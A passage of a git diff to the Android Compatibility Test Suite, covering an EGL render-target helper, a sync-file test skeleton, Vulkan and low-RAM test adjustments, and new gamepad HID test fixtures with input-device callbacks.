+ private static final int DESTROY_SINK = 3;
+ private static final int UPDATE_TEX_IMAGE = 4;
+
+ private static final Handler sHandler;
+ static {
+ HandlerThread thread = new HandlerThread("RenderTarget-GL");
+ thread.start();
+ sHandler = new Handler(thread.getLooper(), new RenderTargetThread());
+ sHandler.sendEmptyMessage(SETUP_THREAD);
+ }
+
+ public static RenderTarget create() {
+ GenericFuture<RenderTarget> future = new GenericFuture<>();
+ Message.obtain(sHandler, CREATE_SINK, future).sendToTarget();
+ try {
+ return future.get();
+ } catch (InterruptedException e) {
+ throw new RuntimeException("Failed to createSink()", e);
+ }
+ }
+
+ private final SurfaceTexture mSurfaceTexture;
+ private final int mGlTexId;
+ private Surface mSurface;
+
+ private RenderTarget(SurfaceTexture surfaceTexture, int glTexId) {
+ mSurfaceTexture = surfaceTexture;
+ mGlTexId = glTexId;
+ mSurface = new Surface(mSurfaceTexture);
+ }
+
+ public Surface getSurface() {
+ return mSurface;
+ }
+
+ public void setDefaultSize(int width, int height) {
+ mSurfaceTexture.setDefaultBufferSize(width, height);
+ }
+
+ public void destroy() {
+ mSurface = null;
+ Message.obtain(sHandler, DESTROY_SINK, this).sendToTarget();
+ }
+
+ private static class RenderTargetThread implements Handler.Callback,
+ SurfaceTexture.OnFrameAvailableListener {
+ @Override
+ public boolean handleMessage(Message msg) {
+ switch (msg.what) {
+ case SETUP_THREAD:
+ setupThread();
+ return true;
+ case CREATE_SINK:
+ createSink((GenericFuture<RenderTarget>) msg.obj);
+ return true;
+ case DESTROY_SINK:
+ destroySink((RenderTarget) msg.obj);
+ return true;
+ case UPDATE_TEX_IMAGE:
+ updateTexImage((SurfaceTexture) msg.obj);
+ default:
+ return false;
+ }
+ }
+
+ private void createSink(GenericFuture<RenderTarget> sinkFuture) {
+ int[] tex = new int[1];
+ glGenTextures(1, tex, 0);
+ SurfaceTexture texture = new SurfaceTexture(tex[0]);
+ texture.setOnFrameAvailableListener(this);
+ sinkFuture.setResult(new RenderTarget(texture, tex[0]));
+ }
+
+ private void destroySink(RenderTarget sink) {
+ sHandler.removeMessages(UPDATE_TEX_IMAGE, sink.mSurfaceTexture);
+ sink.mSurfaceTexture.setOnFrameAvailableListener(null);
+ sink.mSurfaceTexture.release();
+ glDeleteTextures(1, new int[] { sink.mGlTexId }, 0);
+ }
+
+ private void updateTexImage(SurfaceTexture texture) {
+ texture.updateTexImage();
+ }
+
+ private void setupThread() {
+ EGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);
+ if (display == null) {
+ throw new IllegalStateException("eglGetDisplay failed");
+ }
+ int[] version = new int[2];
+ if (!eglInitialize(display, version, 0, version, 1)) {
+ throw new IllegalStateException("eglInitialize failed");
+ }
+ final int[] egl_attribs = new int[] {
+ EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+ EGL_RED_SIZE, 8,
+ EGL_GREEN_SIZE, 8,
+ EGL_BLUE_SIZE, 8,
+ EGL_ALPHA_SIZE, 8,
+ EGL_DEPTH_SIZE, 0,
+ EGL_CONFIG_CAVEAT, EGL_NONE,
+ EGL_SURFACE_TYPE, EGL_WINDOW_BIT,
+ EGL_NONE
+ };
+ EGLConfig[] configs = new EGLConfig[1];
+ int[] num_configs = new int[1];
+ if (!eglChooseConfig(display, egl_attribs, 0, configs, 0, 1, num_configs, 0)
+ || num_configs[0] <= 0 || configs[0] == null) {
+ throw new IllegalStateException("eglChooseConfig failed");
+ }
+ EGLConfig config = configs[0];
+ final int[] gl_attribs = new int[] {
+ EGL_CONTEXT_CLIENT_VERSION, 2,
+ EGL_NONE
+ };
+ EGLContext context = eglCreateContext(display, config, EGL_NO_CONTEXT, gl_attribs, 0);
+ if (context == null) {
+ throw new IllegalStateException("eglCreateContext failed");
+ }
+ final int[] pbuffer_attribs = new int[] { EGL_WIDTH, 1, EGL_HEIGHT, 1, EGL_NONE };
+ EGLSurface pbuffer = eglCreatePbufferSurface(display, config, pbuffer_attribs, 0);
+ if (pbuffer == null) {
+ throw new IllegalStateException("create pbuffer surface failed");
+ }
+ if (!eglMakeCurrent(display, pbuffer, pbuffer, context)) {
+ throw new IllegalStateException("Failed to make current");
+ }
+ }
+
+ @Override
+ public void onFrameAvailable(SurfaceTexture surfaceTexture) {
+ Message.obtain(sHandler, UPDATE_TEX_IMAGE, surfaceTexture).sendToTarget();
+ }
+ }
+
+ private static class GenericFuture<T> {
+ private boolean mHasResult = false;
+ private T mResult;
+ public void setResult(T result) {
+ synchronized (this) {
+ if (mHasResult) {
+ throw new IllegalStateException("Result already set");
+ }
+ mHasResult = true;
+ mResult = result;
+ notifyAll();
+ }
+ }
+
+ public T get() throws InterruptedException {
+ synchronized (this) {
+ while (!mHasResult) {
+ wait();
+ }
+ return mResult;
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
new file mode 100644
index 0000000..a82adfc
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static android.opengl.EGL14.*;
+
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.opengl.GLES20;
+import android.support.test.filters.SmallTest;
+
+import java.util.concurrent.CyclicBarrier;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+
+// This class contains tests for the Linux kernel sync file system, and the NDK interfaces for it
+// (android/sync.h). Unfortunately, the interfaces exposed by the kernel make it difficult to test
+// for a couple reasons:
+//
+// (a) There isn't a standard kernel interface for creating a fence/sync_file. Drivers can create
+// them via driver-specific interfaces. Currently this means we have to use APIs like OpenGL ES
+// or interact with the system compositor in order to generate fences. That makes tests larger
+// and more complicated than they otherwise need to be.
+//
+// This is further complicated by the fact that most of the time GPU work executes in the order
+// it was submitted to the kernel; there isn't much out-of-order execution in practice. So
+// detecting some kinds of bugs is difficult using only the GPU as an event source.
+//
+// (b) A core principal of sync files is that they cannot be created until the work that will
+// signal them has been submitted to the kernel, and will complete without further action from
+// userland. This means that it is impossible to reliably do something before a sync file has
+// signaled.
+
+@SmallTest
+@RunWith(BlockJUnit4ClassRunner.class)
+public class SyncTest {
+
+ static {
+ System.loadLibrary("ctsgraphics_jni");
+ }
+
+ private static final String TAG = SyncTest.class.getSimpleName();
+ private static final boolean DEBUG = false;
+
+ private EGLDisplay mEglDisplay = EGL_NO_DISPLAY;
+ private EGLConfig mEglConfig = null;
+
+ @Before
+ public void setup() throws Throwable {
+ mEglDisplay = EGL14.eglGetDisplay(EGL_DEFAULT_DISPLAY);
+ if (mEglDisplay == EGL_NO_DISPLAY) {
+ throw new RuntimeException("no EGL display");
+ }
+ int[] major = new int[1];
+ int[] minor = new int[1];
+ if (!EGL14.eglInitialize(mEglDisplay, major, 0, minor, 0)) {
+ throw new RuntimeException("error in eglInitialize");
+ }
+
+ int[] numConfigs = new int[1];
+ EGLConfig[] configs = new EGLConfig[1];
+ if (!EGL14.eglChooseConfig(mEglDisplay,
+ new int[] {
+ EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+ EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
+ EGL_BUFFER_SIZE, 32,
+ EGL_NONE},
+ 0, configs, 0, 1, numConfigs, 0)) {
+ throw new RuntimeException("eglChooseConfig failed");
+ }
+ mEglConfig = configs[0];
+ }
+
+ @After
+ public void teardown() throws Throwable {
+ EGL14.eglTerminate(mEglDisplay);
+ }
+
+ @Test
+ public void testMergedSyncSignalOrder() {
+ // TODO
+ }
+
+ private static final int STATUS_UNSIGNALED = 0;
+ private static final int STATUS_SIGNALED = 1;
+ private static final int STATUS_ERROR = -1;
+ private static class SyncFileInfo {
+ String name; // char name[32]
+ int status; // __s32 status
+ long flags; // __u32 flags
+ SyncFenceInfo[] fences; // __u32 num_fences; __u64 sync_fence_info
+ }
+ private static class SyncFenceInfo {
+ String name; // char obj_name[32]
+ String driver_name; // char driver_name[32]
+ int status; // __s32 status
+ long flags; // __u32 flags
+ long timestamp_ns; // __u64 timestamp_ns
+ }
+
+ private static native boolean nSyncPoll(int[] fds, int[] status);
+ private static native int nSyncMerge(String name, int fd1, int fd2);
+ private static native SyncFileInfo nSyncFileInfo(int fd);
+ private static native void nSyncClose(int fd);
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index cd8ad63..31f83bf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -172,7 +172,7 @@
} else {
assertEquals("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
" version " + mVulkanHardwareCompute.version +
- " doesn't match best physical device hardware compute " + bestComputeLevel,
+ " doesn't match best physical device (version: " + bestComputeLevel + ")",
bestComputeLevel, mVulkanHardwareCompute.version);
}
}
@@ -223,16 +223,17 @@
}
private int determineHardwareCompute(JSONObject device) throws JSONException {
- boolean haveVariablePointers = false;
- JSONArray extensions = device.getJSONArray("extensions");
- for (int i = 0; i < extensions.length(); i++) {
- String name = extensions.getJSONObject(i).getString("extensionName");
- if (name.equals("VK_KHR_variable_pointers"))
- haveVariablePointers = true;
+ JSONObject variablePointersFeatures = device.getJSONObject("variablePointersFeaturesKHR");
+ boolean variablePointers = variablePointersFeatures.getInt("variablePointers") != 0;
+ JSONObject limits = device.getJSONObject("properties").getJSONObject("limits");
+ int maxPerStageDescriptorStorageBuffers = limits.getInt("maxPerStageDescriptorStorageBuffers");
+ if (DEBUG) {
+ Log.d(TAG, device.getJSONObject("properties").getString("deviceName") +
+ ": variablePointers=" + variablePointers +
+ " maxPerStageDescriptorStorageBuffers=" + maxPerStageDescriptorStorageBuffers);
}
- if (!haveVariablePointers) {
+ if (!variablePointers || maxPerStageDescriptorStorageBuffers < 16)
return -1;
- }
return 0;
}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index 4a05b85..17edc3f 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -99,7 +99,7 @@
@AfterClass
public static void tearDownClass() throws Exception {
- if (sTransitionScaleBefore != Float.NaN) {
+ if (!Float.isNaN(sTransitionScaleBefore)) {
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
"settings put global transition_animation_scale " +
sTransitionScaleBefore);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 170d685..eddcecc 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -536,138 +536,4 @@
resources.getDrawable(R.drawable.testimage).setAlpha(restoreAlpha);
}
}
-
- private static final int[] DENSITY_VALUES = new int[] {
- 160, 80, 320
- };
-
- private static final int[] DENSITY_IMAGES = new int[] {
- R.drawable.bitmap_density,
- R.drawable.bitmap_shader_density,
- R.drawable.bitmap_shader_am_density,
- };
-
- @Test
- public void testPreloadDensity() throws XmlPullParserException, IOException {
- final Resources res = mContext.getResources();
- final int densityDpi = res.getConfiguration().densityDpi;
- try {
- for (int i = 0; i < DENSITY_IMAGES.length; i++) {
- verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
- }
- } finally {
- DrawableTestUtils.setResourcesDensity(res, densityDpi);
- }
- }
-
- private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
- throws XmlPullParserException, IOException {
- final Rect tempPadding = new Rect();
-
- // Capture initial state at preload density.
- final int preloadDensityDpi = densities[0];
- DrawableTestUtils.setResourcesDensity(res, preloadDensityDpi);
-
- final XmlResourceParser parser = DrawableTestUtils.getResourceParser(res, sourceResId);
- final BitmapDrawable preloadedDrawable = new BitmapDrawable();
- preloadedDrawable.inflate(res, parser, Xml.asAttributeSet(parser));
-
- final ConstantState preloadedConstantState = preloadedDrawable.getConstantState();
- final int origWidth = preloadedDrawable.getIntrinsicWidth();
- final int origHeight = preloadedDrawable.getIntrinsicHeight();
- assertFalse(preloadedDrawable.getPadding(tempPadding));
-
- compareOrSave(preloadedDrawable, preloadDensityDpi, sourceResId);
-
- for (int i = 1; i < densities.length; i++) {
- final int scaledDensityDpi = densities[i];
- final float scale = scaledDensityDpi / (float) preloadDensityDpi;
- DrawableTestUtils.setResourcesDensity(res, scaledDensityDpi);
-
- final BitmapDrawable scaledDrawable =
- (BitmapDrawable) preloadedConstantState.newDrawable(res);
- scaledDrawable.setLayoutDirection(LayoutDirection.RTL);
-
- // Sizes are rounded.
- assertEquals(Math.round(origWidth * scale), scaledDrawable.getIntrinsicWidth());
- assertEquals(Math.round(origHeight * scale), scaledDrawable.getIntrinsicHeight());
-
- // Bitmaps have no padding.
- assertFalse(scaledDrawable.getPadding(tempPadding));
-
- compareOrSave(scaledDrawable, scaledDensityDpi, sourceResId);
-
- // Ensure theme density is applied correctly. Unlike most
- // drawables, we don't have any loss of accuracy because density
- // changes are re-computed from the source every time.
- DrawableTestUtils.setResourcesDensity(res, preloadDensityDpi);
-
- final Theme t = res.newTheme();
- scaledDrawable.applyTheme(t);
- assertEquals(origWidth, scaledDrawable.getIntrinsicWidth());
- assertEquals(origHeight, scaledDrawable.getIntrinsicHeight());
- assertFalse(scaledDrawable.getPadding(tempPadding));
- }
- }
-
- private void compareOrSave(Drawable dr, int densityDpi, int sourceResId) {
- final int width = dr.getIntrinsicWidth();
- final int height = dr.getIntrinsicHeight();
- final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
- bitmap.setDensity(0);
-
- final Canvas canvas = new Canvas(bitmap);
- dr.setBounds(0, 0, width, height);
- dr.draw(canvas);
-
- if (DBG_DUMP_PNG) {
- saveGoldenImage(bitmap, sourceResId, densityDpi);
- } else {
- final int goldenResId = getGoldenImageResId(sourceResId, densityDpi);
- final Bitmap golden = BitmapFactory.decodeResource(
- mContext.getResources(), goldenResId);
- DrawableTestUtils.compareImages(densityDpi + " dpi", golden, bitmap,
- PIXEL_ERROR_THRESHOLD, PIXEL_ERROR_COUNT_THRESHOLD, 0 /* tolerance */);
- }
- }
-
- private int getGoldenImageResId(int sourceResId, int densityDpi) {
- final String name = getGoldenImageName(sourceResId, densityDpi);
- return mContext.getResources().getIdentifier(name, "drawable", mContext.getPackageName());
- }
-
- private String getGoldenImageName(int sourceResId, int densityDpi) {
- return mContext.getResources().getResourceEntryName(sourceResId) + "_golden_" + densityDpi;
- }
-
- private void saveGoldenImage(Bitmap bitmap, int sourceResId, int densityDpi) {
- // Save the image to the disk.
- FileOutputStream out = null;
-
- try {
- final File outputFolder = new File("/sdcard/temp/");
- if (!outputFolder.exists()) {
- outputFolder.mkdir();
- }
-
- final String goldenFilename = getGoldenImageName(sourceResId, densityDpi) + ".png";
- final File goldenFile = new File(outputFolder, goldenFilename);
- if (!goldenFile.exists()) {
- goldenFile.createNewFile();
- }
-
- out = new FileOutputStream(goldenFile, false);
- bitmap.compress(Bitmap.CompressFormat.PNG, 100, out);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- if (out != null) {
- try {
- out.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- }
}
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 957c012..3adf811 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MULTILIB := both
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_down.json b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
new file mode 100644
index 0000000..21f5186
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
@@ -0,0 +1,5 @@
+{
+ "id": 1,
+ "command": "report",
+ "report": [0x01, 0x01, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
+}
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_up.json b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
new file mode 100644
index 0000000..ab1eb0e
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
@@ -0,0 +1,5 @@
+{
+ "id": 1,
+ "command": "report",
+ "report": [0x01, 0x00, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
+}
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_delay.json b/tests/tests/hardware/res/raw/gamepad_delay.json
new file mode 100644
index 0000000..a25c3dd
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_delay.json
@@ -0,0 +1,5 @@
+{
+ "id": 1,
+ "command": "delay",
+ "duration": 10
+}
diff --git a/tests/tests/hardware/res/raw/gamepad_press_a.json b/tests/tests/hardware/res/raw/gamepad_press_a.json
deleted file mode 100644
index ff3ca4f..0000000
--- a/tests/tests/hardware/res/raw/gamepad_press_a.json
+++ /dev/null
@@ -1,39 +0,0 @@
-{
- "id": 1,
- "command": "register",
- "name": "Odie (Test)",
- "vid": 0x18d1,
- "pid": 0x2c40,
- "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
- 0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
- 0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
- 0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
- 0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
- 0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
- 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
- 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
- 0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
- 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
- 0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
- 0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
- 0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0],
- "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
-
-{
- "id": 1,
- "command": "report",
- "report": [0x01, 0x01, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
-
-{
- "id": 1,
- "command": "delay",
- "duration": 10
-}
-
-{
- "id": 1,
- "command": "report",
- "report": [0x01, 0x00, 0x80, 0x90, 0x80, 0x7f, 0x73, 0x00, 0x00]
-}
diff --git a/tests/tests/hardware/res/raw/gamepad_register_device.json b/tests/tests/hardware/res/raw/gamepad_register_device.json
new file mode 100644
index 0000000..cfd71eb
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamepad_register_device.json
@@ -0,0 +1,20 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Odie (Test)",
+ "vid": 0x18d1,
+ "pid": 0x2c40,
+ "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x09, 0x0a, 0x01, 0x00,
+ 0x0a, 0x02, 0x00, 0x0a, 0x04, 0x00, 0x0a, 0x05, 0x00, 0x0a, 0x07, 0x00, 0x0a, 0x08, 0x00,
+ 0x0a, 0x0e, 0x00, 0x0a, 0x0f, 0x00, 0x0a, 0x0d, 0x00, 0x05, 0x0c, 0x0a, 0x24, 0x02, 0x0a,
+ 0x23, 0x02, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0b, 0x81, 0x02, 0x75, 0x01, 0x95,
+ 0x01, 0x81, 0x03, 0x05, 0x01, 0x75, 0x04, 0x95, 0x01, 0x25, 0x07, 0x46, 0x3b, 0x01, 0x66,
+ 0x14, 0x00, 0x09, 0x39, 0x81, 0x42, 0x66, 0x00, 0x00, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30,
+ 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x05, 0x02, 0x09, 0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26,
+ 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0x85,
+ 0x02, 0x05, 0x08, 0x0a, 0x01, 0x00, 0x0a, 0x02, 0x00, 0x0a, 0x03, 0x00, 0x0a, 0x04, 0x00,
+ 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x91, 0x02, 0x75, 0x04, 0x95, 0x01, 0x91,
+ 0x03, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x03, 0x05, 0x01, 0x09, 0x06, 0xa1,
+ 0x02, 0x05, 0x06, 0x09, 0x20, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x81,
+ 0x02, 0x06, 0xbc, 0xff, 0x0a, 0xad, 0xbd, 0x75, 0x08, 0x95, 0x06, 0x81, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index a2ddb4d..baffdab 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -52,6 +52,7 @@
private static final long ONE_MEGABYTE = 1048576L;
private static final String TAG = "LowRamDeviceTest";
+ private static final long LOW_RAM_MAX = 1024;
private PackageManager mPackageManager;
private ActivityManager mActivityManager;
@@ -105,7 +106,7 @@
if (supports64Bit) {
assertMinMemoryMb(1824);
} else {
- assertMinMemoryMb(1099);
+ assertMinMemoryMb(1344);
}
} else if (greaterThanDpi(density, DENSITY_400, screenSize,
SCREENLAYOUT_SIZE_NORMAL, SCREENLAYOUT_SIZE_SMALL) ||
@@ -155,7 +156,7 @@
private void assertMinMemoryMb(long minMb) {
long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
- boolean lowRam = totalMemoryMb <= 512;
+ boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
boolean lowRamDevice = mActivityManager.isLowRamDevice();
Log.i(TAG, String.format("minMb=%,d", minMb));
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
index accdcaf..b4bda4e 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
@@ -22,4 +22,7 @@
public interface InputCallback {
public void onKeyEvent(KeyEvent ev);
public void onMotionEvent(MotionEvent ev);
+ public void onInputDeviceAdded(int deviceId);
+ public void onInputDeviceRemoved(int deviceId);
+ public void onInputDeviceChanged(int deviceId);
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index b16cadb..72aa056 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -17,15 +17,28 @@
package android.hardware.input.cts;
import android.app.Activity;
+import android.content.Context;
+import android.hardware.input.InputManager;
+import android.hardware.input.InputManager.InputDeviceListener;
+import android.os.Bundle;
+import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
-import java.util.ArrayList;
-import java.util.List;
+public class InputCtsActivity extends Activity implements InputDeviceListener {
+ private static final String TAG = "InputCtsActivity";
-public class InputCtsActivity extends Activity {
private InputCallback mInputCallback;
+ private InputManager mInputManager;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mInputManager = getApplicationContext().getSystemService(InputManager.class);
+ mInputManager.registerInputDeviceListener(this, null);
+ }
+
@Override
public boolean dispatchGenericMotionEvent(MotionEvent ev) {
if (mInputCallback != null) {
@@ -61,4 +74,20 @@
public void setInputCallback(InputCallback callback) {
mInputCallback = callback;
}
+
+ @Override
+ public void onInputDeviceAdded(int deviceId) {
+ mInputCallback.onInputDeviceAdded(deviceId);
+ }
+
+ @Override
+ public void onInputDeviceRemoved(int deviceId) {
+ mInputCallback.onInputDeviceRemoved(deviceId);
+ }
+
+ @Override
+ public void onInputDeviceChanged(int deviceId) {
+ mInputManager.getInputDevice(deviceId); // if this isn't called, won't get new notifications
+ mInputCallback.onInputDeviceChanged(deviceId);
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
new file mode 100644
index 0000000..e44bcb4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.hardware.cts.R;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GamepadTestCase extends InputTestCase {
+ private static final String TAG = "GamepadTests";
+
+ @Test
+ public void testButtonA() throws Exception {
+ registerInputDevice(R.raw.gamepad_register_device);
+
+ sendHidCommands(R.raw.gamepad_button_a_down);
+ sendHidCommands(R.raw.gamepad_delay);
+ assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
+
+ sendHidCommands(R.raw.gamepad_button_a_up);
+ assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
+
+ assertNoMoreEvents();
+ }
+}
+
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index fba5f51..27ba081 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -16,68 +16,93 @@
package android.hardware.input.cts.tests;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
import android.app.UiAutomation;
-import android.hardware.input.cts.InputCtsActivity;
import android.hardware.input.cts.InputCallback;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
+import android.hardware.input.cts.InputCtsActivity;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
import android.view.KeyEvent;
import android.view.MotionEvent;
import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileWriter;
-import java.io.InputStream;
import java.io.IOException;
